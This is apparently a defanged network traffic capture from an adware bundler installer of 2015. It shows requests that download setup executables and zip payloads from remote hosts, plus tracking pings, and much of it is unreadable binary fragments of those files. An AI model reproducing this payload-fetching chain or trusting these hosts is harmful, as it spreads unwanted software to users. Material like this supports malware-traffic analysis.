...d....X5...0.......[8.......[W..z10.....}"g~W..s.z....c= g...V.?...L
WE.^.a...z....$.~=..\.^T..2...}.<....S..&.N7.e..W....bp......}.0...
..X6.d..,.#./....kO;t.x..>... .....).>..\.e.....#.H.!.[.q...7.Z.
.!K<........n......'.v.G........}_'.......D..R.5....yh...k..N...v..
s..W4.<Jyl"..NT..pH@k......&1.'..{..;..W[..Y..Vt9..]...._a..oOy..5.
... .#%5!Y..9.9UwH.....3UC.....b.b.W....[/j.k...l.K%.M.;Ea........X=s.
4...*.. ^z....3d..cZ..........w.....nxj..?UV.h.8N...yHE.M.. .s}H.}....
w..J....7.?r.... t\v..s...\./Dx..v*<MM5..z.Q...&c.C.P!1...q.jg...4.
q:&lCih$c....U..(.E..BLDc..v.1..D....t.. t.rz...%...*5..(...0....p.o..
q.y.}8wsl1.e........m.......... <&NB.a..e.V>.*.Y]VrP9.wy....i5.T
..A.....g..).....5......G....j.|......PT......zd..h..i...M.a. ..d..2..
n.._..h...RF2...:..s.....G.H...t..6.]..?......u..........a.4_v.g./.o1%
[email protected]...>vV.....h.%.....]g....."..U.(ng.V.s..3=....v[..l[.dyB..B
.....;.2.,[email protected]........}..h.W4.S.$'k.':......2.Yb...:.....\.....P
.=.._9.t.OtZ...`...:.D...y..Nk.~".M(.`^"...5it..n/..|pH../..g...0.....
....G...<F......HW...<.vC....Y`.|.km.'....}u.d0(H.....,.....]>
;&.... nN0.R.J.Yb..si.O.....'Y.<QP45.....:../h..J)hT...-....M.o<<< skipped >>>

GET /connect/xd_arbiter/DU1Ia251o0y.js?version=41 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: static.ak.facebook.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

X-Content-Type-Options: nosniff

X-XSS-Protection: 0

Content-Encoding: gzip

X-FB-Debug: 5X5uOphKWQtnVeB1X/wVOxRDWbRJ1XzBVqcRc87tXkZeq6hTjoQNRbixwuHqyBNJYKjLc2c9iMXTE2H1Wtlonw==

Vary: Accept-Encoding

Content-Length: 9954

Cache-Control: public, max-age=29162436

Expires: Wed, 27 Jan 2016 14:43:38 GMT

Date: Tue, 24 Feb 2015 02:03:02 GMT

Connection: keep-alive
...........}y..F....)T...F...g.*.......5...g../..$..%.*(.}...CJqT.w..v
..$.....W.T.g/?....... .G....3.."..._.f..%..z.&Y.|..Y.[.x..I.O..G..^.e
....;J...E..."....[.y..|..Z.X.........s.<M..5N.9)o.x.{y...#.h.(..QD
. M....Y_...*M...?.....0......2..8..o..-K..e.D......g<>..>..0
s9.......0~2.>...$....".J.....,O......{.....J'7...?.V.B.q.......f..
..Yq..C...XRDq ....].F.9s.4j.|.;...cN63:o..h.q....Q.cQ.x...Io.....m...
n..x<....R./....v8SL...Q..={..d../:$........7....../b.....U.z.*.'..
.T.*<..I...i.'.u O>.)0....XA?..$...8S..q...........v....1'......
..E.z..%.%[email protected]....?>.".~...[.e.[#n1.."x....1n.M....
No..`...|r1.M... x.u.....;q9!...M.&..$.....5t.;..h..........W.a.....j9
l.....bM....v.!&......IvtG..5V# .F.....C.`0....iCln.. .;...2n..N......
!..)......l..s..;...q..:.-.e0v.......9RVR..cI.%...........:.{ .K......
..^.1A..X.]........0cW.@0......"G.*I_1/ '[email protected]#..(.r.._.(@...)..P
"(<D.F...".Fc*.8"..b.....!k.-...tM.....&h^.F..h5.%.(.^.l.JI..*.z...
M@...;)..............K... ..^.....T.y|i!...cr.|o..d..z.-.6v.`...t"`../
.F.;..V..f.../(`....F,..H`.[..q..f..q.....YB..j.C.bL.z..R..}M {)v.. ..
l.. zk.[!...M...OH....(.wh.j.S.8'...u..N...i....hpI;WAw.,...w=....&"7@
..A..N..`.....V0...!S....*L.5...[..I~hQ.M.A..Rh.c...HX.dR1....\<...
[email protected].,.p..L..Br..b. J...Fr,....R.r..'.;R.A.@".B..Q#......./......]...
n H..,...m.zf. .>.. '........,...f..?.Hs.I....V...}C..M..Y..!.....s
.C..4...LS....R.hs..0.=F....{....i.G0......a......2P...&........6.W,..
......`...3TR#..u....uF.... .awm...cw...Q...x.Y.z..\.Q.>...K.I.<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdj8GAtb3cG3wOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxWyhm8g2YhvD&product=EXTFirefox&rnd=1424743305&it=0&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.0.9 HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 02:01:25 GMT..Content-Length: 0..

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=40204-

User-Agent: Better Installer(Mozilla)

Host: d1x8oi0nw94fx8.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 281428

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:45:37 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 40204-321631/321632

Age: 637

X-Cache: Hit from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5Sl3yRWkfNN5KtI-6Y25BhRRHcIE9o0LPTUNCPZeULyBpr7QSfK8UQ==
...._^[..]..E........M..E..N .~..C.j......j.......I.g.@...@[email protected].@.*.
@...@...@...@. [email protected][email protected]<.......t....u..V..G(.O$RP.....
.>.u..V..G(.O$RP......F(.F4.F0.F8.......F......F ......t.j.j.j....F
<....G0.U..VW...G(.O [email protected]'.W(.G h....j.R......F$..u..O(.
W$VQ....._3.^]..G(.O Sj.P......F(..u .V$.G(.O$RP...W(.G$VR....._3.^]..
M....F,3..N8..........._..^]...U....0S....V...K..V4.M..N0.E..F W.~..E.
.U.;.s. ...... ....N, [email protected].}........)U..U.
...........E.............U..E....r..............V......1....$...@.....
.............. ....E......h.fC.h.VC.j.j....n.......F.....J....m.......
.............E................. s3.}....?...)U..M............E........
.....U..E... r..............;.......3.3..N..E.;.t.........a....N......
.....P....}.........}.........V,9U.u".F0.N(;.t..M.s. .H.E... ....U...u
\.M..E.Q.F4.u....N0.E..F4....E.;.s... .J...V, ..F,.U.9E.u..V(;.t..U.s.
 .I.M... ..E..}....X....F..M..E......E.;.v....M..M.;.v..M..U..E..M.RPQ
.T....E..E.)E..E.)E....)F..E..._....V...........N......s3.}........)U.
.M............E.............U..E....r.%.?........F....................
......S ........K(j.PQ......F..........m...E.....F.................N..
.....9N.sm...s3.}...._...)U..U............E.............U..E....r..N..
...gC..N........E.......V..N..............E.9N.r......9F.s".......V...
..gC..V.........F.9F.r..N$Q.V..F.RP.......F.P.........E.....6....F..E.
.......N...................9N...............E..N.;.s5.}....g...)U..U..
N ;.t.QQQ...F<....G0.F(.O(.W$PQ...F$.O(.W$PQ...G(.O$VP.....3...<<< skipped >>>

GET /utility.gif?report=fdata&f=3&c=820&i=35&n=ms_about_to_exc&rnd=25239 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Tue, 24 Feb 2015 02:02:08 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /infv3/index/2606/bnd/6.3.76.1518/7a9c839b08544f0d77986f6e82d16b3f HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inisxriy.com

Connection: Keep-Alive


HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Tue, 24 Feb 2015 02:00:58 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.2.14p1

Location: hXXp://VVV.inisxriy.com/files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip

0......

GET /files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inisxriy.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:00:58 GMT

Content-Type: application/zip

Content-Length: 2170167

Last-Modified: Mon, 16 Feb 2015 09:34:06 GMT

Connection: keep-alive

Accept-Ranges: bytes
PK........B.PF...*............422.json.......P..(..w.........L@.\...q.
..%.v..Q..~DO.M.|.Wj.N.........'?.}...n..0..5.^1.........#..z.n...t..#
.1jq`....*.>#.............m..V.&.vc~.<.w.R.'xD....q..qQ|.H.P6...
.l..&3....g.t/....|7p.......3......~...B|[email protected].}...P......^1....
....AO...t...HT,t.v.4.)......]._.u-g..f..M....:.x~..........J.....W]..
.~C..M...:]...{..-.e...8.i.2....aO...w...#i.^1......K........|~.k.....
....b......Nr.s.....!*l..5.D(L.w.J.kh.b..S...~..-..Y../.ap......q..j..
%....a.M=E.k}.0....g.`.$SaH...u...I.*h.Y.0.3s~.......a.w..............
.W3P7589DPK........B.PF..".f....K......uninstallDlg2.xml.\m.....^.....
..z.f.N...mo..As..$([email protected].../...w(Q.d.k9.6^T..."....gH....o......R.
f.3.-DX.#..3 ...L,.J.".sFf..I-...?...g."..R....Sw.N]..x-sQ.@}=..Fd..X.
8.!...Y..........|.o..1...Ox..li.....8.YRd.BT...3k..../....9^..T..sb#.
...nir.....mT.....(.2.eRr.y.....1.r...d\~.. ~!I......v....x.t]H.$BW0..
.L.......'^....8..<.0\.eQ.R....Iq..9..[\k. .O.:rs...7...tE..D..B.(h
..h.....GA...'..{M..m(x....2s...b.4.x..p....M..`.ukQ..;].....(u.Z.A...
.L.r........~/P...........|.`l...5d}....w.#..1......vS.W.....`....b@w.
r.%sS.w......Q..#B.."B}..f...K...,c..d.1.....`ST2.M`.."...$.lC..p.P)..
Ce.b.LQ..0...h.aF...L. ps~.'FP.a.`R.2........!X............"B.....'.I.
@#..Y#....]. .....]...eM....#..Zp..`.....l"....<..Q....V.2.~.......
...S..9...nf..(K!..Q......,.....P....BO{0Q.....N....".M.....(m]....._.
WW.."...B.h...Bn.Pa."V...%....wwQ...g,j0'...w..].....\..Z........n.1..
k...Q...qI.jD1..q..r.h5._..\_)..RQ....RC.7.'..:../.~R.....y.jI<<<< skipped >>>

GET /infv3/index/2606/3rd/6.3.76.1518/37f90e7172ce364049fd177205bf4b1d HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inisxriy.com

Connection: Keep-Alive


HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Tue, 24 Feb 2015 02:01:12 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.2.14p1

Location: hXXp://VVV.inisxriy.com/files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip

0......

GET /files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inisxriy.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:01:12 GMT

Content-Type: application/zip

Content-Length: 482594

Last-Modified: Mon, 16 Feb 2015 09:34:06 GMT

Connection: keep-alive

Accept-Ranges: bytes
PK........B.PF:...............422.db.....h..-..M....<..A#.<y....
\Y...7a.....V0YKW.zx....(....N.J8...t.J.-Q..C$....G.!;Q`....;..lOJ?...
.......\C..D2..^..^.Y.m.......N..(1...p1...b. 0.....\D...g\.q...}...@6
W.6........U.\a.....hh...;.....]......K.V.....uj.;y9e.".9R...j.T)....X
.i.F2v...q|.".2..V`:FBz........W3P7589DPK..........CF.1..T....n......w
pm_v20.0.0.1714_0204.exe..Sp,..?~...m........b..m..m.v....|.v.z~..9. .
..g....~.........k9.y....^,..v..f'F....]..... /.y7*....5Q...Zh?j...5Nd
...P,.'.q.N.......V..A.A........bQ.G.e.....?......../.]R..Mf%.q......g
.0...... .yIH.r.......y...>I_..........T...VY..%QRE._....(......-j.
.K.Dv........4....N...z...".K.I.;..$i..........$!3.. .i.!..-.......jy?
....g.&...F.LZ9.W.4......y...E...Et.<00.<.d..V..o..5...-?..(....
...B..4.wn...1^.w...V.*.w..s....?c....#5....!J..[85T.u%...........dW5;
!*.....zQY....8X....c...J.P/........oUh.n.t..'.*d..?.].p/.......O-..y.
.[Q |...Xv~.....,...........u..^.Ve.V.l../.2..ef....G(HR.....a....... 
..T{}x.....w.-T...........2...a.I.rE...a....z........i...]..>N./...
.a.......9.......i..}t.w.s^.....w..=.gP.......I.?...HM.....}n..a......
...Y-.'/|.zq{.B..s.l.....:...........E......2.F..]_.!^.i^.......u....k
_.../.qj.. 7.K.[.^?..p|.rx)...^p.C................t*....:H....m..0,..9
P.,x"^D..>....(..j.......y......-....".1e@....!.b..h.tV.X...D..... 
...MB.....wf..O......r.....NBE..3....&.3.#...]....%.`.&5{Q..R z.z..\{.
h....G.\e^_......z....r.HO~K..'9|....z.s..S..d. ...2.D^.."..U_.4..l^.V
.}A...K..v......B .P....wJ.3{-...3"......w%.[..:)..s..U..f.B..n\.G<<< skipped >>>

GET /api/geo?callback=Beat1110011063366548386677_1424743399819&_=1424743399820 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: xs3hgr0g-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:03:01 GMT

Content-Type: application/json; charset=utf-8

Content-Length: 95

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

Beat1110011063366548386677_1424743399819({"Country":"UA","Region":null
,"City":null,"ISP":null})HTTP/1.1 200 OK..Date: Tue, 24 Feb 2015 02:03
:01 GMT..Content-Type: application/json; charset=utf-8..Content-Length
: 95..Connection: keep-alive..Cache-Control: private, no-store..X-AspN
et-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2
..X-Cache: MISS..Beat1110011063366548386677_1424743399819({"Country":"
UA","Region":null,"City":null,"ISP":null})..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:41:58 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 946

X-Cache: Hit from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: MSN1_Ptzek_itEE2axBPLeyU9sfxeOdojX1TcgXp7rCm3e34IpL-Og==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /images/Tokyo/tokyoThreeWavesBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1hg3hnogsqyks.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 15368

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 04:56:38 GMT

Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT

ETag: "54da1999-3c08"

Expires: Sun, 22 Feb 2015 05:06:38 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

X-Cache: RefreshHit from cloudfront

Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 71wHC_CcHU86Uq17b8a4F6YTCfiP70D3fMIXedt_c1ch77SWcIwOGA==
......Exif..II*.................Ducky.......2.....mhXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:20C8E87541DAE111B
4BB9504935C1EDB" xmpMM:DocumentID="xmp.did:9221A174EAAF11E18FF38F26F77
384E1" xmpMM:InstanceID="xmp.iid:9221A173EAAF11E18FF38F26F77384E1" xmp
:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom s
tRef:instanceID="xmp.iid:5CE23EFD5CE7E11188929FF0DC9AD62D" stRef:docum
entID="xmp.did:20C8E87541DAE111B4BB9504935C1EDB"/> </rdf:Descrip
tion> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
....Adobe.d...........................................................
#"""#''''''''''..................................................!! !!
''''''''''........D.."................................................
......................................!1.AQ.aq.."2...BRb#....r.....3c$
CSs.....Dt....4...6.......................!1.AQaq..."2...BR#...r..b.3.
..S4T..............?............................@...... ........B.....
V@.. ..U.^[email protected].'............)...........b.....
......................B.....................2.......FR0 ....%l...6<<< skipped >>>

GET /affiliates/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1hg3hnogsqyks.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 05:02:35 GMT

Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT

Expires: Sun, 22 Feb 2015 05:12:35 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 555

X-Cache: Hit from cloudfront

Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pQTUIOuW3ueyZ1QF4lakOBB2I9JeNelM-UtYCVeYOyndCFX4qfwz2w==
1500.............Zks.F......N.......|.-y."!...P.P.... .)".....1S..{...
.R.g.Jl...}.{...>....F7..ZV.T]NO..Pu....?...Q4R..G.c...VEE..I..Y...
...:..Z........?...n...G......o......w>.o.d..U.../......4..`..?~{T.
.d]..i..;.~......y.Q....7i<,..<.....d...|...l.?..t..F.OeU$.....:
Xl..U;8...Q.~.vGw......E.I.....z.7S....q.I..f.q.DW.....U....|..(.u.1..
.z..3..|....A.....:.............P....X$..*.w..........s.;..]..........
u.?..%f...~....S..b...,..........5.(,Qm...w .NK...Y>......u.......}
n..C......8$....)..R..4IuwS....h...*...f.e.q7...<y...I.....:8...s#Z
/M./...B...s..|}[email protected]..)t..uJ.WR..._.LTvz. yV._.L.tz..6 ......
..e.......6.....#b.j.A..yw.[.p.a...6n.6;(u40..8.....&..DT.....EQ..k..J
D.C....zDq....W...X...f.W..D....I.:............~..........f..a.QZ....&
gt;f%.(..n....z.v.u.mCc..].......u$..S..UK<...."T.......dhR.U7i.3..
.....4.K.....6..-..]......'$Y..9$.....U>Et....y....M..M.2x.....`An|
.^.t'O.. !..m>.:8.KZ.........$C...f..Ll...4.<ZGm.$H{Q...........
z..m................p........|C.......i^.W.}'.>..*.....z .=,..7..L.
WY^..T./..zS&...w....g.x..O.U\$q.S....Y.S%*.7..................W..,^'8
......o..W..Z....Q.U.7bp...l5.E....=P....A.D;45....d.q...Jg....."...&l
t;._&...>(VQ..<......Q..v.....?@,...h...P8..i.<N.......fs5.u.
8...8v..-. .....OG..'O.....3{*1u....P..?TK...!..:...e.......6.N./.....
C...'...V&.].....|.b...\.D..J...Y...n-.j.j...u..G.....B.h.Z......s..dw
...9.\...D....]w.n..r&#...~..q4.St........&..3RC'pO.....p.C.2R..."7..6
x8.'#/..I..S......vd..r......I.9..79..B.4..^}ur....S..s...u2."...~<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 02:00:31 GMT

Date: Tue, 24 Feb 2015 02:00:31 GMT

Content-Range: bytes 0-583151/583152

Content-Length: 583152

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................O........................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
[email protected]...`...p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:00:25 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............v.W.-......D.H@L..$...Bk,...|-.\}I. .$.$1..H.`?..,.
....g.D."eUW.......'N....Vg.._O.R.>.<..~......-....y\j...,.7..yw
.Oe}2kO.......yr5.?.?.z......z\j.nn......[.t4...A2=..v....1...A.7.?&{.
..yk...u...w6.w.F7....~1IG...>I>&..=...g..v?i_....i:O......./..a
<O:g.d6....Q:..g.vg.i..8..w.,.*...W...l..&.Y...WZ{.....x.....^c..8.
.n.......u..b:J......;..1~<.....qS.]..r...ir]....gS..4m.s<x.....
..-.-..q.L.l.)...x.1^.. ........l...|`>gO...B.O...b....x8LF.<t .
T...t.D..x..&9.M0...m........q..Z..l.L....Y'.M....x..Gi.....Y. ..]...B
...6.gsLov...}.........w&;.l.L.).{p...1..."..;.....M<...gg..=Xt....
.<..2 ...f...&...l..x......[.......<=.N.E..3....q..=^...kN...M%#
[email protected]..\.....J?.........g.p... ...x.M......~....L.M...;X.
...#......P.!h..3.<.....Q.MX...... [email protected]....=u.%...ep&......P....%
(|.....uO.g....6M...?......t..)y.8.<>|..nr.......~.M......;,.b..
.?|.....>|,.aj..m...|.#L.]....FT..p"..Hj..{.i.....a.~SV......[..r..
mT~t....z.Qa..h..E.?\......C.~x....s....].....nx.p..k.....}X8...".<
.........~.|....p.../..zx>...>.':?..>s.<..|...w..z\8...y|.
.~...O{......?...Y..... ........D..(...&`|...y<K.F........G}.....9.
...2Fx..z...........l~..E...d.. .(...e...r.....i....:.....*..HX.J.2..q
.. .....N...b.)UK7..|...\.Z%.U<H..%0)%...\...i2......k:../*l..o#}&l
t;...b.w.8..w1x......m..r_..J....y..x*..o...1.Wvj;U.....`.....O.....3.
......<).Jm..z..Qiw7.#....JA...R.3._w0&....['.....e:..)[ ..O.]....`
...7K....kz.m..nj'..z.h......"S....3.y?...Q...). ......Y{1.bSY4W._<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept: application/json, text/javascript, */*; q=0.01

